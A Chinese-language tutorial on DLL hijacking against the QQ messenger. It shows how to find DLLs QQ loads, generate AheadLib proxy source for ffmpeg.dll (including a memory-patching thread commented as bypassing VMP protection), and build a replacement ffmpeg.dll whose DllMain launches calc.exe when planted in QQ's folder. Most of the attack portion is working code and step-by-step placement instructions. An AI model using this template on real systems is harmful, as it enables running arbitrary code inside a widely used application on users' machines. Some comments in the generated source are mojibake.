简单dll劫持-1 劫持QQ
首先,查找qq加载所需的dll文件,Proccess Monitor设置过滤器查找QQ运行时所加载的dll
应用这两条规则,然后运行QQ
选择比较靠前的dll
开始写劫持dll代码
找到ffmpeg.dll,放入AheadLib中查看其原始代码
查看生成的.cpp文件
代码如下
//
// created by AheadLib
// github:https://github.com/strivexjun/AheadLib-x86-x64
//
#include <windows.h>
#include <Shlwapi.h>
#pragma comment( lib, "Shlwapi.lib")
#pragma comment(linker, "/EXPORT:av_buffer_create=AheadLib_av_buffer_create,@1")
#pragma comment(linker, "/EXPORT:av_buffer_get_opaque=AheadLib_av_buffer_get_opaque,@2")
#pragma comment(linker, "/EXPORT:av_dict_count=AheadLib_av_dict_count,@3")
#pragma comment(linker, "/EXPORT:av_dict_free=AheadLib_av_dict_free,@4")
#pragma comment(linker, "/EXPORT:av_dict_get=AheadLib_av_dict_get,@5")
#pragma comment(linker, "/EXPORT:av_dict_set=AheadLib_av_dict_set,@6")
#pragma comment(linker, "/EXPORT:av_force_cpu_flags=AheadLib_av_force_cpu_flags,@7")
#pragma comment(linker, "/EXPORT:av_frame_alloc=AheadLib_av_frame_alloc,@8")
#pragma comment(linker, "/EXPORT:av_frame_clone=AheadLib_av_frame_clone,@9")
#pragma comment(linker, "/EXPORT:av_frame_free=AheadLib_av_frame_free,@10")
#pragma comment(linker, "/EXPORT:av_frame_unref=AheadLib_av_frame_unref,@11")
#pragma comment(linker, "/EXPORT:av_free=AheadLib_av_free,@12")
#pragma comment(linker, "/EXPORT:av_get_bytes_per_sample=AheadLib_av_get_bytes_per_sample,@13")
#pragma comment(linker, "/EXPORT:av_get_cpu_flags=AheadLib_av_get_cpu_flags,@14")
#pragma comment(linker, "/EXPORT:av_image_check_size=AheadLib_av_image_check_size,@15")
#pragma comment(linker, "/EXPORT:av_init_packet=AheadLib_av_init_packet,@16")
#pragma comment(linker, "/EXPORT:av_log_set_level=AheadLib_av_log_set_level,@17")
#pragma comment(linker, "/EXPORT:av_malloc=AheadLib_av_malloc,@18")
#pragma comment(linker, "/EXPORT:av_max_alloc=AheadLib_av_max_alloc,@19")
#pragma comment(linker, "/EXPORT:av_new_packet=AheadLib_av_new_packet,@20")
#pragma comment(linker, "/EXPORT:av_packet_alloc=AheadLib_av_packet_alloc,@21")
#pragma comment(linker, "/EXPORT:av_packet_copy_props=AheadLib_av_packet_copy_props,@22")
#pragma comment(linker, "/EXPORT:av_packet_free=AheadLib_av_packet_free,@23")
#pragma comment(linker, "/EXPORT:av_packet_get_side_data=AheadLib_av_packet_get_side_data,@24")
#pragma comment(linker, "/EXPORT:av_packet_unref=AheadLib_av_packet_unref,@25")
#pragma comment(linker, "/EXPORT:av_read_frame=AheadLib_av_read_frame,@26")
#pragma comment(linker, "/EXPORT:av_rescale_q=AheadLib_av_rescale_q,@27")
#pragma comment(linker, "/EXPORT:av_samples_get_buffer_size=AheadLib_av_samples_get_buffer_size,@28")
#pragma comment(linker, "/EXPORT:av_seek_frame=AheadLib_av_seek_frame,@29")
#pragma comment(linker, "/EXPORT:av_strdup=AheadLib_av_strdup,@30")
#pragma comment(linker, "/EXPORT:av_stream_get_first_dts=AheadLib_av_stream_get_first_dts,@31")
#pragma comment(linker, "/EXPORT:av_stream_get_side_data=AheadLib_av_stream_get_side_data,@32")
#pragma comment(linker, "/EXPORT:av_strerror=AheadLib_av_strerror,@33")
#pragma comment(linker, "/EXPORT:avcodec_align_dimensions=AheadLib_avcodec_align_dimensions,@34")
#pragma comment(linker, "/EXPORT:avcodec_alloc_context3=AheadLib_avcodec_alloc_context3,@35")
#pragma comment(linker, "/EXPORT:avcodec_descriptor_get=AheadLib_avcodec_descriptor_get,@36")
#pragma comment(linker, "/EXPORT:avcodec_descriptor_next=AheadLib_avcodec_descriptor_next,@37")
#pragma comment(linker, "/EXPORT:avcodec_find_decoder=AheadLib_avcodec_find_decoder,@38")
#pragma comment(linker, "/EXPORT:avcodec_flush_buffers=AheadLib_avcodec_flush_buffers,@39")
#pragma comment(linker, "/EXPORT:avcodec_free_context=AheadLib_avcodec_free_context,@40")
#pragma comment(linker, "/EXPORT:avcodec_get_name=AheadLib_avcodec_get_name,@41")
#pragma comment(linker, "/EXPORT:avcodec_open2=AheadLib_avcodec_open2,@42")
#pragma comment(linker, "/EXPORT:avcodec_parameters_to_context=AheadLib_avcodec_parameters_to_context,@43")
#pragma comment(linker, "/EXPORT:avcodec_receive_frame=AheadLib_avcodec_receive_frame,@44")
#pragma comment(linker, "/EXPORT:avcodec_send_packet=AheadLib_avcodec_send_packet,@45")
#pragma comment(linker, "/EXPORT:avformat_alloc_context=AheadLib_avformat_alloc_context,@46")
#pragma comment(linker, "/EXPORT:avformat_close_input=AheadLib_avformat_close_input,@47")
#pragma comment(linker, "/EXPORT:avformat_find_stream_info=AheadLib_avformat_find_stream_info,@48")
#pragma comment(linker, "/EXPORT:avformat_free_context=AheadLib_avformat_free_context,@49")
#pragma comment(linker, "/EXPORT:avformat_open_input=AheadLib_avformat_open_input,@50")
#pragma comment(linker, "/EXPORT:avio_alloc_context=AheadLib_avio_alloc_context,@51")
#pragma comment(linker, "/EXPORT:avio_close=AheadLib_avio_close,@52")
extern "C"
{
PVOID pfnAheadLib_av_buffer_create;
PVOID pfnAheadLib_av_buffer_get_opaque;
PVOID pfnAheadLib_av_dict_count;
PVOID pfnAheadLib_av_dict_free;
PVOID pfnAheadLib_av_dict_get;
PVOID pfnAheadLib_av_dict_set;
PVOID pfnAheadLib_av_force_cpu_flags;
PVOID pfnAheadLib_av_frame_alloc;
PVOID pfnAheadLib_av_frame_clone;
PVOID pfnAheadLib_av_frame_free;
PVOID pfnAheadLib_av_frame_unref;
PVOID pfnAheadLib_av_free;
PVOID pfnAheadLib_av_get_bytes_per_sample;
PVOID pfnAheadLib_av_get_cpu_flags;
PVOID pfnAheadLib_av_image_check_size;
PVOID pfnAheadLib_av_init_packet;
PVOID pfnAheadLib_av_log_set_level;
PVOID pfnAheadLib_av_malloc;
PVOID pfnAheadLib_av_max_alloc;
PVOID pfnAheadLib_av_new_packet;
PVOID pfnAheadLib_av_packet_alloc;
PVOID pfnAheadLib_av_packet_copy_props;
PVOID pfnAheadLib_av_packet_free;
PVOID pfnAheadLib_av_packet_get_side_data;
PVOID pfnAheadLib_av_packet_unref;
PVOID pfnAheadLib_av_read_frame;
PVOID pfnAheadLib_av_rescale_q;
PVOID pfnAheadLib_av_samples_get_buffer_size;
PVOID pfnAheadLib_av_seek_frame;
PVOID pfnAheadLib_av_strdup;
PVOID pfnAheadLib_av_stream_get_first_dts;
PVOID pfnAheadLib_av_stream_get_side_data;
PVOID pfnAheadLib_av_strerror;
PVOID pfnAheadLib_avcodec_align_dimensions;
PVOID pfnAheadLib_avcodec_alloc_context3;
PVOID pfnAheadLib_avcodec_descriptor_get;
PVOID pfnAheadLib_avcodec_descriptor_next;
PVOID pfnAheadLib_avcodec_find_decoder;
PVOID pfnAheadLib_avcodec_flush_buffers;
PVOID pfnAheadLib_avcodec_free_context;
PVOID pfnAheadLib_avcodec_get_name;
PVOID pfnAheadLib_avcodec_open2;
PVOID pfnAheadLib_avcodec_parameters_to_context;
PVOID pfnAheadLib_avcodec_receive_frame;
PVOID pfnAheadLib_avcodec_send_packet;
PVOID pfnAheadLib_avformat_alloc_context;
PVOID pfnAheadLib_avformat_close_input;
PVOID pfnAheadLib_avformat_find_stream_info;
PVOID pfnAheadLib_avformat_free_context;
PVOID pfnAheadLib_avformat_open_input;
PVOID pfnAheadLib_avio_alloc_context;
PVOID pfnAheadLib_avio_close;
}
static
HMODULE g_OldModule = NULL;
VOID WINAPI Free()
{
if (g_OldModule)
{
FreeLibrary(g_OldModule);
}
}
BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
TCHAR tzTemp[MAX_PATH * 2];
//
// �����Ƿ��ϵͳĿ¼��ǰĿ¼����ԭʼDLL
//
//GetModuleFileName(NULL,tzPath,MAX_PATH); //��ȡ��Ŀ¼�µ�
//PathRemoveFileSpec(tzPath);
GetSystemDirectory(tzPath, MAX_PATH); //Ĭ�ϻ�ȡϵͳĿ¼��
lstrcat(tzPath, TEXT("\\ffmpeg.dll"));
g_OldModule = LoadLibrary(tzPath);
if (g_OldModule == NULL)
{
wsprintf(tzTemp, TEXT("���ҵ�ģ�� %s,��������������"), tzPath);
MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
}
return (g_OldModule != NULL);
}
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
CHAR szProcName[64];
TCHAR tzTemp[MAX_PATH];
fpAddress = GetProcAddress(g_OldModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintfA(szProcName, "#%d", pszProcName);
pszProcName = szProcName;
}
wsprintf(tzTemp, TEXT("���ҵ����� %hs,��������������"), pszProcName);
MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
ExitProcess(-2);
}
return fpAddress;
}
BOOL WINAPI Init()
{
pfnAheadLib_av_buffer_create = GetAddress("av_buffer_create");
pfnAheadLib_av_buffer_get_opaque = GetAddress("av_buffer_get_opaque");
pfnAheadLib_av_dict_count = GetAddress("av_dict_count");
pfnAheadLib_av_dict_free = GetAddress("av_dict_free");
pfnAheadLib_av_dict_get = GetAddress("av_dict_get");
pfnAheadLib_av_dict_set = GetAddress("av_dict_set");
pfnAheadLib_av_force_cpu_flags = GetAddress("av_force_cpu_flags");
pfnAheadLib_av_frame_alloc = GetAddress("av_frame_alloc");
pfnAheadLib_av_frame_clone = GetAddress("av_frame_clone");
pfnAheadLib_av_frame_free = GetAddress("av_frame_free");
pfnAheadLib_av_frame_unref = GetAddress("av_frame_unref");
pfnAheadLib_av_free = GetAddress("av_free");
pfnAheadLib_av_get_bytes_per_sample = GetAddress("av_get_bytes_per_sample");
pfnAheadLib_av_get_cpu_flags = GetAddress("av_get_cpu_flags");
pfnAheadLib_av_image_check_size = GetAddress("av_image_check_size");
pfnAheadLib_av_init_packet = GetAddress("av_init_packet");
pfnAheadLib_av_log_set_level = GetAddress("av_log_set_level");
pfnAheadLib_av_malloc = GetAddress("av_malloc");
pfnAheadLib_av_max_alloc = GetAddress("av_max_alloc");
pfnAheadLib_av_new_packet = GetAddress("av_new_packet");
pfnAheadLib_av_packet_alloc = GetAddress("av_packet_alloc");
pfnAheadLib_av_packet_copy_props = GetAddress("av_packet_copy_props");
pfnAheadLib_av_packet_free = GetAddress("av_packet_free");
pfnAheadLib_av_packet_get_side_data = GetAddress("av_packet_get_side_data");
pfnAheadLib_av_packet_unref = GetAddress("av_packet_unref");
pfnAheadLib_av_read_frame = GetAddress("av_read_frame");
pfnAheadLib_av_rescale_q = GetAddress("av_rescale_q");
pfnAheadLib_av_samples_get_buffer_size = GetAddress("av_samples_get_buffer_size");
pfnAheadLib_av_seek_frame = GetAddress("av_seek_frame");
pfnAheadLib_av_strdup = GetAddress("av_strdup");
pfnAheadLib_av_stream_get_first_dts = GetAddress("av_stream_get_first_dts");
pfnAheadLib_av_stream_get_side_data = GetAddress("av_stream_get_side_data");
pfnAheadLib_av_strerror = GetAddress("av_strerror");
pfnAheadLib_avcodec_align_dimensions = GetAddress("avcodec_align_dimensions");
pfnAheadLib_avcodec_alloc_context3 = GetAddress("avcodec_alloc_context3");
pfnAheadLib_avcodec_descriptor_get = GetAddress("avcodec_descriptor_get");
pfnAheadLib_avcodec_descriptor_next = GetAddress("avcodec_descriptor_next");
pfnAheadLib_avcodec_find_decoder = GetAddress("avcodec_find_decoder");
pfnAheadLib_avcodec_flush_buffers = GetAddress("avcodec_flush_buffers");
pfnAheadLib_avcodec_free_context = GetAddress("avcodec_free_context");
pfnAheadLib_avcodec_get_name = GetAddress("avcodec_get_name");
pfnAheadLib_avcodec_open2 = GetAddress("avcodec_open2");
pfnAheadLib_avcodec_parameters_to_context = GetAddress("avcodec_parameters_to_context");
pfnAheadLib_avcodec_receive_frame = GetAddress("avcodec_receive_frame");
pfnAheadLib_avcodec_send_packet = GetAddress("avcodec_send_packet");
pfnAheadLib_avformat_alloc_context = GetAddress("avformat_alloc_context");
pfnAheadLib_avformat_close_input = GetAddress("avformat_close_input");
pfnAheadLib_avformat_find_stream_info = GetAddress("avformat_find_stream_info");
pfnAheadLib_avformat_free_context = GetAddress("avformat_free_context");
pfnAheadLib_avformat_open_input = GetAddress("avformat_open_input");
pfnAheadLib_avio_alloc_context = GetAddress("avio_alloc_context");
pfnAheadLib_avio_close = GetAddress("avio_close");
return TRUE;
}
DWORD WINAPI ThreadProc(LPVOID lpThreadParameter)
{
HANDLE hProcess;
PVOID addr1 = reinterpret_cast<PVOID>(0x00401000);
BYTE data1[] = { 0x90, 0x90, 0x90, 0x90 };
//
// �ƹ�VMP3.x ���ڴ汣��
//
hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, GetCurrentProcessId());
if (hProcess)
{
WriteProcessMemory(hProcess, addr1, data1, sizeof(data1), NULL);
CloseHandle(hProcess);
}
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
if (Load() && Init())
{
TCHAR szAppName[MAX_PATH] = TEXT("MyApp.exe");//��������������
TCHAR szCurName[MAX_PATH];
GetModuleFileName(NULL, szCurName, MAX_PATH);
PathStripPath(szCurName);
//�Ƿ��ж�����������
if (StrCmpI(szCurName, szAppName) == 0)
{
//���������̻߳�����������
HANDLE hThread = CreateThread(NULL, NULL, ThreadProc, NULL, NULL, NULL);
if (hThread)
{
CloseHandle(hThread);
}
}
}
}
else if (dwReason == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}
根据原始dll代码编写劫持代码如下
#include <windows.h>
#include <Shlwapi.h>
#include "pch.h"
// Placeholder implementations for all functions
extern "C" __declspec(dllexport) int av_buffer_create() { return 0; }
extern "C" __declspec(dllexport) int av_buffer_get_opaque() { return 0; }
extern "C" __declspec(dllexport) int av_dict_count() { return 0; }
extern "C" __declspec(dllexport) int av_dict_free() { return 0; }
extern "C" __declspec(dllexport) int av_dict_get() { return 0; }
extern "C" __declspec(dllexport) int av_dict_set() { return 0; }
extern "C" __declspec(dllexport) int av_force_cpu_flags() { return 0; }
extern "C" __declspec(dllexport) int av_frame_alloc() { return 0; }
extern "C" __declspec(dllexport) int av_frame_clone() { return 0; }
extern "C" __declspec(dllexport) int av_frame_free() { return 0; }
extern "C" __declspec(dllexport) int av_frame_unref() { return 0; }
extern "C" __declspec(dllexport) int av_free() { return 0; }
extern "C" __declspec(dllexport) int av_get_bytes_per_sample() { return 0; }
extern "C" __declspec(dllexport) int av_get_cpu_flags() { return 0; }
extern "C" __declspec(dllexport) int av_image_check_size() { return 0; }
extern "C" __declspec(dllexport) int av_init_packet() { return 0; }
extern "C" __declspec(dllexport) int av_log_set_level() { return 0; }
extern "C" __declspec(dllexport) int av_malloc() { return 0; }
extern "C" __declspec(dllexport) int av_max_alloc() { return 0; }
extern "C" __declspec(dllexport) int av_new_packet() { return 0; }
extern "C" __declspec(dllexport) int av_packet_alloc() { return 0; }
extern "C" __declspec(dllexport) int av_packet_copy_props() { return 0; }
extern "C" __declspec(dllexport) int av_packet_free() { return 0; }
extern "C" __declspec(dllexport) int av_packet_get_side_data() { return 0; }
extern "C" __declspec(dllexport) int av_packet_unref() { return 0; }
extern "C" __declspec(dllexport) int av_read_frame() { return 0; }
extern "C" __declspec(dllexport) int av_rescale_q() { return 0; }
extern "C" __declspec(dllexport) int av_samples_get_buffer_size() { return 0; }
extern "C" __declspec(dllexport) int av_seek_frame() { return 0; }
extern "C" __declspec(dllexport) int av_strdup() { return 0; }
extern "C" __declspec(dllexport) int av_stream_get_first_dts() { return 0; }
extern "C" __declspec(dllexport) int av_stream_get_side_data() { return 0; }
extern "C" __declspec(dllexport) int av_strerror() { return 0; }
extern "C" __declspec(dllexport) int avcodec_align_dimensions() { return 0; }
extern "C" __declspec(dllexport) int avcodec_alloc_context3() { return 0; }
extern "C" __declspec(dllexport) int avcodec_descriptor_get() { return 0; }
extern "C" __declspec(dllexport) int avcodec_descriptor_next() { return 0; }
extern "C" __declspec(dllexport) int avcodec_find_decoder() { return 0; }
extern "C" __declspec(dllexport) int avcodec_flush_buffers() { return 0; }
extern "C" __declspec(dllexport) int avcodec_free_context() { return 0; }
extern "C" __declspec(dllexport) int avcodec_get_name() { return 0; }
extern "C" __declspec(dllexport) int avcodec_open2() { return 0; }
extern "C" __declspec(dllexport) int avcodec_parameters_to_context() { return 0; }
extern "C" __declspec(dllexport) int avcodec_receive_frame() { return 0; }
extern "C" __declspec(dllexport) int avcodec_send_packet() { return 0; }
extern "C" __declspec(dllexport) int avformat_alloc_context() { return 0; }
extern "C" __declspec(dllexport) int avformat_close_input() { return 0; }
extern "C" __declspec(dllexport) int avformat_find_stream_info() { return 0; }
extern "C" __declspec(dllexport) int avformat_free_context() { return 0; }
extern "C" __declspec(dllexport) int avformat_open_input() { return 0; }
extern "C" __declspec(dllexport) int avio_alloc_context() { return 0; }
extern "C" __declspec(dllexport) int avio_close() { return 0; }
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
// 创建一个新进程来打开系统计算器
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"), NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
// 关闭进程和线程句柄
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
// 可选的清理代码可以放在这里
}
return TRUE;
}
设置为运行计算器
然后再次放入Visual Studio中编译为DLL文件
将生成的Dll文件名改为ffmpeg.dll,替换QQ目录中的ffmpeg.dll
运行QQ时自动弹出计算器,且在运行中只要调用此DLL文件就会弹出计算器。